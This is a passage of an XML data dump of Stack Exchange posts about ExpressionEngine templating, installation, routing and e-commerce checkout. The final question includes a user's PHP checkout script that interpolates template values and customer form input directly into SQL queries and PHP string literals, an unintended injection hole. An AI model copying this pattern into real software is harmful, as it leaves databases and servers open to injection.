up, I'm not sure if the API call makes security checks or assumes the data has already been sanitised (so possibly leaving the database open for injection) or more likely will your code allow the form to be used as a bot mailer?&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-10-27T17:24:06.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26446" PostTypeId="2" ParentId="26428" CreationDate="2014-10-27T18:09:32.293" Score="0" Body="&lt;p&gt;Try adding another word to your nested stash:get_list, a prefix parameter, and don't think you need parse='inward'. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list &#xA;    name=&quot;all_channels&quot;&#xA;}&#xA;    Channel Name: {item_channel_name}--&#xA;&#xA;    {exp:stash:get_list:nested &#xA;        name=&quot;favorites&quot; &#xA;        match=&quot;#^{item_channel_name}$#&quot; &#xA;        against=&quot;item_channel&quot;&#xA;        prefix=&quot;st_inner&quot;&#xA;    }&#xA;        Entry Title: {st_inner:item_title}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-27T18:09:32.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26447" PostTypeId="1" CreationDate="2014-10-27T20:45:35.123" Score="1" ViewCount="259" Body="&lt;p&gt;I seem to be having some trouble getting expression engine to install on my server. I've set everything up as directed and still am having issues with it. When I go to the home page - no matter what I do I still see &quot;Your config file does not appear to be formatted correctly.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I Double checked the permissions and directories and everything looks fine. I however did notice that the drop down for data base type is completely empty and un selectable ( I don't know if this is a bug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can fill out all the information and click create and then the url changes and the browser screen just turns white. It doesn't look like anything is happening (nothing spinning or moving in the browser tabs) but regardless I let it run a few minutes - and nothing. I checked the config and database.php files and both are still blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been quite frustrating as I have installed EE many times before with no problem at all. Any help would be greatly appreciated. Thanks for reading!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - &#xA;I am using -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;centOS: 5&#xA;PHP: 5.3.29&#xA;apache: 2.2&#xA;mySQL: 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to add - the database type drop down is not populated with anything and I'm thinking that may be a helpful clue.&lt;/p&gt;&#xA;" OwnerUserId="2798" LastEditorUserId="2798" LastEditDate="2014-10-28T21:37:41.630" LastActivityDate="2014-10-28T21:37:41.630" Title="Expression Engine install trouble (2.9.2)" Tags="|config|install|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26448" PostTypeId="2" ParentId="26407" CreationDate="2014-10-27T20:50:21.797" Score="1" Body="&lt;p&gt;Managed to resolve this with the help from Mark Croxton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a list target each content type with the same variable name. Example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;content-section-1&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;  {c}&#xA;&#xA;    {heading}&#xA;              {stash:content}{value}{/stash:content}&#xA;          {/heading}&#xA;&#xA;    {wygwam}                     &#xA;        {stash:content}{value}{/stash:content}&#xA;    {/wygwam}&#xA;&#xA;    {assets}                      &#xA;        {files}&#xA;         {stash:content}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; /&amp;gt;{/stash:content}&#xA;        {/files}&#xA;    {/assets}&#xA;&#xA;  {/c}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-10-27T20:50:21.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26449" PostTypeId="1" CreationDate="2014-10-27T21:59:24.260" Score="1" ViewCount="259" Body="&lt;p&gt;EE 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to set up a template route for a new section of the site I'm working on. However when I do I get the error: &lt;strong&gt;Template Route Already in use&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a route for the blog/single template which works &lt;code&gt;/blog/{blog-post:alpha_dash}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I try to set one of up for about/single &lt;code&gt;/about/news/{news-post:alpha_dash}&lt;/code&gt; The CP highlights both the blog and about/single template and says Route Already in use. Also won't let me set segment required on the about route. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I refresh the page the blog route is there, but the about route is gone. See attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dzqyB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-10-31T14:50:52.670" Title="Template Route Already in use" Tags="|templates|routing|template-routes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26450" PostTypeId="2" ParentId="26449" CreationDate="2014-10-27T22:08:27.220" Score="2" Body="&lt;p&gt;Well, Sean. Now, we have a problem. I already had this discussion with EllisLab, but I believe you should too. Their answer was to use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/about/news/{news-post:alpha_dash}/{pagination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to set required segments to no. This way, the route will match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/about/news/{news-post:alpha_dash}/{pagination}&#xA;/about/news/{news-post:alpha_dash}&#xA;/about/news/{pagination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For me, this makes no sense. In my opinion, the previous segment should always be required because we don't use URLs like &lt;code&gt;/about/news//something&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to be able to use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/about/news/{news-post:alpha_dash}|{pagination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, &lt;code&gt;alpha_dash&lt;/code&gt; will match pagination too.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-27T22:08:27.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26452" PostTypeId="1" CreationDate="2014-10-27T23:23:48.477" Score="0" ViewCount="45" Body="&lt;p&gt;So it states that using admin_register=&quot;yes&quot; allows a designated member group (not necessarily a Super Admin) to register a member and see the register form when logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &quot;This parameter allows users of member groups that are allowed to administrate members to view the Register form, and submit new user registrations on behalf of others. Using this parameter naturally will prevent the auto-login feature after registration from working (so the admin doesn't become logged in as the member they just created).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Edit Member Group in the EE CP I have &quot;Can administrate members accounts&quot; set tp yes. What else needs to be enabled?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2014-10-27T23:23:48.477" Title="Solspace User - Register Form viewable to non superadmin" Tags="|solspace-user|registration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26453" PostTypeId="2" ParentId="23719" CreationDate="2014-10-27T23:28:27.387" Score="2" Body="&lt;p&gt;I don't think a plugin is needed for this.  You can retrieve the item options from the order itself without a plugin and I think that's maybe the better approach to avoid having to maintain an extra plugin.  But maybe I am missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a somewhat overcomplicated and not really 100% finished example I am quickly pulling from work in progress.  I have two separate channels with complex variation products, but should give the idea - it's a combo display previous order details/re-order items template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if it's not clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using stash models of various product details but they should be reasonably obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MODEL: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;orders&quot; entry_id=&quot;{stash:e_id}&quot;  status=&quot;not closed&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Order Data - later: change to all one set call --}&#xA;{exp:stash:set name=&quot;order_title&quot;}{title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_entry_id&quot;}{entry_id}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_url_title&quot;}{url_title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_status&quot;}{status}{/exp:stash:set} &#xA;{exp:stash:set name=&quot;order_vault_id&quot;}{order_vault_id}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_subscription_id&quot;}{order_subscription_id}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_payment_gateway&quot;}{order_payment_gateway}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_ip_address&quot;}{order_ip_address}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_last_four&quot;}{order_last_four}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_transaction_id&quot;}{order_transaction_id}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_last_name&quot;}{order_billing_last_name}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_company&quot;}{order_billing_company}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_country&quot;}{order_billing_country}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_country_code&quot;}{order_country_code}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_first_name&quot;}{order_shipping_first_name}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_last_name&quot;}{order_shipping_last_name}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_address&quot;}{order_shipping_address}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_address2&quot;}{order_shipping_address2}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_city&quot;}{order_shipping_city}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_customer_email&quot;}{order_customer_email}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_language&quot;}{order_language}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_full_billing_address&quot;}{order_full_billing_address}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_full_shipping_address&quot;}{order_full_shipping_address}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_first_name&quot;}{order_billing_first_name}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_address&quot;}{order_billing_address}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_address2&quot;}{order_billing_address2}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_customer_phone&quot;}{order_customer_phone}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_discount&quot;}{order_discount}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_customer_full_name&quot;}{order_customer_full_name}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_coupons&quot;}{order_coupons}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_option&quot;}{order_shipping_option}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_tax&quot;}{order_tax}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_plus_tax&quot;}{order_shipping_plus_tax}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping&quot;}{order_shipping}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_subtotal_plus_tax&quot;}{order_subtotal_plus_tax}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_subtotal&quot;}{order_subtotal}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_city&quot;}{order_billing_city}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_state&quot;}{order_billing_state}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_billing_zip&quot;}{order_billing_zip}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_total&quot;}{order_total}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_error_message&quot;}{order_error_message}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_country_code&quot;}{order_shipping_country_code}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_country&quot;}{order_shipping_country}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_company&quot;}{order_shipping_company}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_zip&quot;}{order_shipping_zip}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_shipping_state&quot;}{order_shipping_state}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_authorize_id&quot;}{authorize_id}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;order_notes&quot;}{order_notes}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!-- Line Items Data, including the auto responder text! --}&#xA;{exp:stash:set_list name=&quot;order_items&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; parse_depth=&quot;10&quot; debug=&quot;yes&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;{stash:e_id}&quot;}&#xA;&#xA;            {exp:stash:append name=&quot;order_item_ids&quot;}{entry_id}|{/exp:stash:append}&#xA;            {stash:item_id}{entry_id}{/stash:item_id}&#xA;            {stash:item_title}{title}{/stash:item_title}&#xA;            {stash:item_quantity}{quantity}{/stash:item_quantity}&#xA;            {stash:item_price}{price}{/stash:item_price}&#xA;            {stash:item_price_inc}{price_plus_tax}{/stash:item_price_inc}&#xA;            {stash:item_price_inc_numeric}{price_plus_tax_numeric}{/stash:item_price_inc_numeric}&#xA;            {stash:item_weight}{weight}{/stash:item_weight}&#xA;            {stash:item_site_id}{site_id}{/stash:item_site_id}&#xA;            {stash:item_channel}{channel}{/stash:item_channel}&#xA;            {stash:item_subtotal}{subtotal}{/stash:item_subtotal}&#xA;            {stash:item_subtotal_numeric}{subtotal_numeric}{/stash:item_subtotal_numeric}&#xA;            {stash:item_subtotal_plus_tax}{subtotal_plus_tax}{/stash:item_subtotal_plus_tax}&#xA;            {stash:item_subtotal_plus_tax_numeric}{subtotal_plus_tax_numeric}{/stash:item_subtotal_plus_tax_numeric}&#xA;&#xA;            {item_options}&#xA;                 {if &quot;{option_label}&quot;==&quot;Variations&quot;}&#xA;                    {stash:item_option_variation_name}{option_name}{/stash:item_option_variation_name}&#xA;                    {stash:item_option_variation_value}{option_value}{/stash:item_option_variation_value}&#xA;                 {/if}&#xA;                 {if &quot;{option_label}&quot;==&quot;Notes&quot;}&#xA;                    {stash:item_option_notes}{option_value}{/stash:item_option_notes}&#xA;                 {/if}&#xA;            {/item_options}&#xA;&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:stash:set_list}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(there's also a model to get extra product info if needed like pictures etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VIEW:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:set name=&quot;cart_reorder&quot; type=&quot;snippet&quot; parse=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;/cart&quot;}&#xA;&#xA;&amp;lt;table&amp;gt;&#xA;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Qty.&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Item&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Price&amp;lt;th&amp;gt;Subtotal&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Re-Order Qty.&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;&#xA;    &amp;lt;tbody&amp;gt;&#xA;&#xA;{!-- this list has all the info from cartthrob order_items--}&#xA;{exp:stash:get_list name=&quot;order_items&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;5&quot; sort=&quot;desc&quot; orderby=&quot;item_price_inc_numeric&quot; sort_type=&quot;numeric&quot;}&#xA;&#xA;    &amp;lt;tr&amp;gt;&#xA;            {!-- filled by product model, has picture, link etc --}&#xA;            {exp:stash:get_list:nested name=&quot;extended_product_info&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;10&quot; debug=&quot;yes&quot; match=&quot;#{item_id}#&quot; against=&quot;product_entry_id&quot; unique=&quot;product_entry_id&quot;}&#xA;&#xA;        &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;&#xA;            {if product_master_image}&#xA;                {exp:ce_img:pair src=&quot;{product_master_image}&quot; max=&quot;100&quot; crop=&quot;no&quot; parse=&quot;inward&quot;}&#xA;                    &amp;lt;img src=&quot;{made_url}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;&amp;gt;&#xA;                {/exp:ce_img:pair}&#xA;            {/if}&#xA;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{item_quantity}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{exp:stash:get name='relative_url_{urlt}'}&quot;&amp;gt;{item_title}&amp;lt;/a&amp;gt; ({item_id})&amp;lt;br&amp;gt;&#xA;&#xA;                   {exp:switchee variable=&quot;{product_channel_short_name}&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;}&#xA;                        {case value=&quot;product_inkjet_paper&quot;}&#xA;                            {item_option_variation_name}   &amp;lt;small&amp;gt;({item_option_variation_value})&amp;lt;/small&amp;gt;&#xA;                        {/case}&#xA;                        {case value=&quot;service&quot;}&#xA;                            {item_option_variation_name}   &amp;lt;small&amp;gt;({item_option_variation_value})&amp;lt;/small&amp;gt;&#xA;                            &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Notes (which you can change if re-ordering):&amp;lt;br&amp;gt;&amp;lt;textarea rows=&quot;3&quot; cols=&quot;50&quot; name=&quot;item_options[{product_entry_id}][cf_service_notes]&quot;  value=&quot;&quot;&amp;gt;{item_option_notes}&amp;lt;/textarea&amp;gt;                             &#xA;                        {/case}&#xA;                        {case default=&quot;yes&quot;}&#xA;                            &amp;lt;small&amp;gt;{product_sku}&amp;lt;/small&amp;gt;&#xA;                        {/case}&#xA;                    {/exp:switchee}&#xA;               {exp:switchee variable=&quot;{product_channel_short_name}&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;}&#xA;&#xA;                       {case value=&quot;product_package&quot;}&#xA;                        &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;em&amp;gt;Contents:&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;&amp;lt;small&amp;gt;&#xA;&#xA;                            {exp:stash:get_list:nest2 name=&quot;pkg_items_{item_id}&quot;}&#xA;                                {pkg_product_title} &amp;lt;br&amp;gt;&#xA;                            {/exp:stash:get_list:nest2}&#xA;                            &amp;lt;/small&amp;gt;&#xA;                        {/case}&#xA;                    {/exp:switchee}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;        {item_price_inc}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;        {item_subtotal_plus_tax}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;           {exp:switchee variable=&quot;{product_channel_short_name}&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;}&#xA;                {case value=&quot;product_inkjet_paper&quot;}&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][cf_paper_variations]&quot; size=&quot;2&quot; value=&quot;{item_option_variation_value}&quot;&amp;gt;&#xA;                    {/case}&#xA;                {case value=&quot;service&quot;}&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][cf_service_variations]&quot; size=&quot;2&quot; value=&quot;{item_option_variation_value}&quot;&amp;gt;&#xA;                    {/case}&#xA;            {/exp:switchee}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{count}]&quot; size=&quot;2&quot; value=&quot;{product_entry_id}&quot;&amp;gt;          &#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][channel]&quot; size=&quot;2&quot; value=&quot;{product_channel_short_name}&quot;&amp;gt;           &#xA;            &amp;lt;span class=&quot;qty&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;quantity[{count}]&quot; class=&quot;qty__field js-qty-field&quot; value=&quot;0&quot;&amp;gt;&#xA;                &amp;lt;button class=&quot;qty__btn js-qty-inc&quot;&amp;gt;+&amp;lt;/button&amp;gt;&#xA;                &amp;lt;button class=&quot;qty__btn js-qty-dec&quot;&amp;gt;-&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;            {!--&amp;lt;input type=&quot;text&quot; name=&quot;quantity[{product_entry_id}]&quot; size=&quot;2&quot; value=&quot;0&quot;&amp;gt;--}&#xA;        &amp;lt;/td&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;GST&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{stash:order_tax}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input class=&quot;btn&quot; type=&quot;submit&quot; value=&quot;Add to Cart for Re-Order&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Shipping by {stash:order_shipping_option}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;${stash:order_shipping_plus_tax}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Total&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{stash:order_total}&amp;lt;/td&amp;gt;&amp;lt;td align=&quot;center&quot;&amp;gt;  &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:stash:set}  {!-- cart_reorder --}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..and let me just add one more time - this stack exchange editor component is absolutely awful!!&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-10-27T23:28:27.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26454" PostTypeId="1" AcceptedAnswerId="26463" CreationDate="2014-10-27T23:47:23.740" Score="1" ViewCount="227" Body="&lt;p&gt;Alright so let me first say that this particular project is very odd and it has snowballed considerably in the past few months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a master PHP programmer. What I am is a web developer with three years of experience who had only himself as a resource for the overwhelming majority of this project. Feel free to completely criticize what I have done here, I'm open to it. I'm looking for solutions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expression Engine 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Store 2.3.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Streeng&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wanted a pseudo ecommerce solution that would sit on a server + CMS. However, they wanted this platform to be managed and fed by their AS400 Mainframe while also being completely PCI compliant. Expression Engine was a natural fit for most of these demands, and I also chose Expresso because of how easily it integrates with EE. It's a single ecosystem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when a customer goes to 'check out' an external file must be generated (in real time) with all of that customers information that he entered. His billing and shipping information + everything he ordered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the hash to create a unique file name on the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes up when a customer puts &quot; or / into one of the form fields. No matter what regex I use, the whole thing explodes the second the process template loads up. I've used various regex for this, but &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;~[\\/'&amp;lt;&gt;|]~&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is the most generally effective. I had a different version that was wrapped in single quotes and targeted &quot; as well, but it failed. That's why you do not see it included in the code below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried the nuclear approach with the following regex (just for testing purposes), but it still results in the same error each time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~['\\\&quot;\^\&amp;amp;\*\(\)\%\$\#\@\!\&amp;gt;\&amp;lt;,\.\/]+~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Eliminating these characters is important, because it will mess with the XML file creation process.. And I had to map that out in detail because they instructed me as to how the output should look (must look) for them to interpret the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the 'process' template code, which is the final step in the checkout. This goes unseen to the customer except for a spinning processing wheel gif. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;&amp;lt;title&amp;gt;Checkout Processing&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div style=&quot;float: left; position: relative;left: 45%;&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;float: left; position: relative; left: -45%; height:50px; width:50px;&quot;&amp;gt;&#xA;   &amp;lt;img height=&quot;100&quot; width=&quot;100&quot; src=&quot;http://www.asus.com/support/images/support-loading.gif&quot;/&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{exp:store:checkout&#xA;    return=&quot;/checkout/thank_you&quot;&#xA;}    &#xA;    {if no_items}&#xA;        {redirect=&quot;/products/&quot;}&#xA;    {/if}&#xA;&#xA;    {if shipping_name ==&quot;&quot; OR billing_name ==&quot;&quot; OR billing_address1 ==&quot;&quot; OR shipping_address1 ==&quot;&quot; OR order_email ==&quot;&quot; OR billing_phone ==&quot;&quot; OR shipping_phone ==&quot;&quot; OR billing_postcode ==&quot;&quot; OR shipping_postcode ==&quot;&quot; OR billing_country ==&quot;&quot; OR shipping_country ==&quot;&quot; OR shipping_city ==&quot;&quot; OR billing_city ==&quot;&quot;}&#xA;        {redirect=&quot;/checkout/shipping_details&quot;}&#xA;    {/if}&#xA;&amp;lt;?php exportSQL2(); ?&amp;gt; &#xA;&#xA;&amp;lt;?php&#xA;//This function triggers automatically when the page is loaded. It exports the order data into an xml file so that the Mainframe maybe pick it up and process.&#xA;&#xA;&#xA;   function exportSQL2()&#xA;   {&#xA;&#xA;   $EE =&amp;amp; get_instance(); &#xA;      $fnameData = $EE-&amp;gt;db-&amp;gt;query(&quot;SELECT billing_first_name, billing_last_name, shipping_first_name, shipping_last_name FROM exp_store_orders WHERE order_hash = '{order_hash}'&quot;)-&amp;gt;row_array();&#xA;&#xA;      $MainframeAccountName = &quot;&quot;;&#xA;&#xA;      if ('{member_id}' !=&quot;&quot;) {&#xA;      $MainframeAccountNameQuery = $EE-&amp;gt;db-&amp;gt;query(&quot;SELECT Mainframe_account_number FROM exp_members WHERE member_id = '{member_id}'&quot;)-&amp;gt;row_array();&#xA;      $MainframeAccountName = $MainframeAccountNameQuery['Mainframe_account_number'];&#xA;      } &#xA;&#xA;&#xA;&#xA;      $billing_first_name= &quot;{billing_first_name}&quot;; &#xA;&#xA;      $billing_first_name= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_first_name);&#xA;      $billing_first_name= preg_replace('/[^\w ]/', '', 